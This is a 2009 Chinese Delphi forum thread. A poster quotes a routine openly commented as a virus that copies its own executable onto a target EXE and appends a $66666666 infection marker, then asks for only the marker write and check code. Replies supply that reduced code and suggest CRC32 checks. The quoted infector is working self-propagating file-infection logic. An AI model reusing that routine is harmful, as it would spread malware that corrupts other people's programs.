帮忙把我想要的代码提取出来

qq330428725 2009-01-07 03:06:08
分别给出2个代码
1个:
在某个EXE的最后个字节写入666666
2个
检测某个EXE最后个字节是不是666666


procedure copy(s:string);///S:目标文件完整文件名(带路径的)
var
s1,s2,s3:tmemorystream; //内存流
file1:tfilestream;//文件流
id:integer;
iid:longint;
const
id=$66666666;//感染标识
begin
file1:=tfilestream.Create(s,fmopenread);//将目标文件读入文件流
if file1.Size>1024000 then //如果目标文件大于10M则退出
begin
file1.Free;
close;
end
else
begin
file1.Free;//比较完毕释放文件流
s1:=tmemorystream.Create;//创建内存流
s1.LoadFromFile(paramstr(0));//将病毒自身读入临时内存流
s2:=tmemorystream.Create;
s2.CopyFrom(s1,s1.Size);//将病毒流写入主内存流
s1.Clear;
s3:=tmemorystream.creat;
s3.LoadFromFile(s);//装入目标文件
s3.seek(-4,sofromend);//定位到文件的最后4个字节
s3.read(iid,4);//读取最后4个字节
if iid=id then //判断是否感染
begin
s3.free;//如果感染过了就退出
close;
end
else
begin
s1.loadfromfile(s);//将目标文件装入临时流
s2.Seek(s2.Size,sofrombeginning);//定位到主内存流的尾部
s2.CopyFrom(s1,s1.Size);//写入目标文件到主内存流
s1.Free;
s2.seek(0,sofromend);//定位到尾部
iid:=$66666666;
s2.write(iid,4);//写入感染标识
s2.SaveToFile(s);//将主内存流写入目标文件完成感染
s2.Free;
end;
end;
end;


我只想要其中写入内容
和检测内容的代码
来帮我 提取出来,着里面有着个的代码
我不是弄病毒,我只是想在某个文件上做个标记,
...全文
137 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
gyk120 2009-01-07
  • 打赏
  • 举报
回复
如果是防止修改的话,用CRC32做个验证算法安全性更高一点。。。
ahjoe 2009-01-07
  • 打赏
  • 举报
回复
目的是防止别人修改EXE。
gzmhero 2009-01-07
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 qq330428725 的回复:]
var
    s3:tmemorystream;
    file1:tfilestream;
    iid:longint;
    s: string;
    const
        id=$66666666

读的
s3:=tmemorystream.create;
      s3.LoadFromFile(s);
      s3.seek(-4,sofromend);
      s3.read(iid,4);
      if iid=id then
      begin
        s3.free;
        exit;
      end;
写的
s3.LoadFromFile(s);
s3.seek(0,sofromend);
        iid:=$66666666;
        s3…
[/Quote]

对。

试过就知道。
qq330428725 2009-01-07
  • 打赏
  • 举报
回复
var
s3:tmemorystream;
file1:tfilestream;
iid:longint;
s: string;
const
id=$66666666

读的
s3:=tmemorystream.create;
s3.LoadFromFile(s);
s3.seek(-4,sofromend);
s3.read(iid,4);
if iid=id then
begin
s3.free;
exit;
end;
写的
s3.LoadFromFile(s);
s3.seek(0,sofromend);
iid:=$66666666;
s3.write(iid,4);
s3.SaveToFile(s);
s3.Free;
end;

s是文件的路径
这样对不?
我在EXE里加东西不会导致EXE不能运行把..


gzmhero 2009-01-07
  • 打赏
  • 举报
回复
如果只要写,读,稍改了下:

procedure copy(s:string);///S:?????????(????)
var
s3:tmemorystream; //???
file1:tfilestream;//???
iid:longint;
const
id=$66666666;//????
begin
file1:=tfilestream.Create(s,fmopenread);//??????????
if file1.Size>1024000 then //????????10M???
begin
file1.Free;
exit;
end
else
begin
file1.Free;
s3:=tmemorystream.create;
s3.LoadFromFile(s);//??????
s3.seek(-4,sofromend);//????????4???
s3.read(iid,4);//????4???
if iid=id then //??????
begin
s3.free;//?????????
exit;
end else
begin
s3.seek(0,sofromend);//?????
iid:=$66666666;
s3.write(iid,4);//??????
s3.SaveToFile(s);//???????????????
s3.Free;
end;
end;
end;

16,748

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 语言基础/算法/系统设计
社区管理员
  • 语言基础/算法/系统设计社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧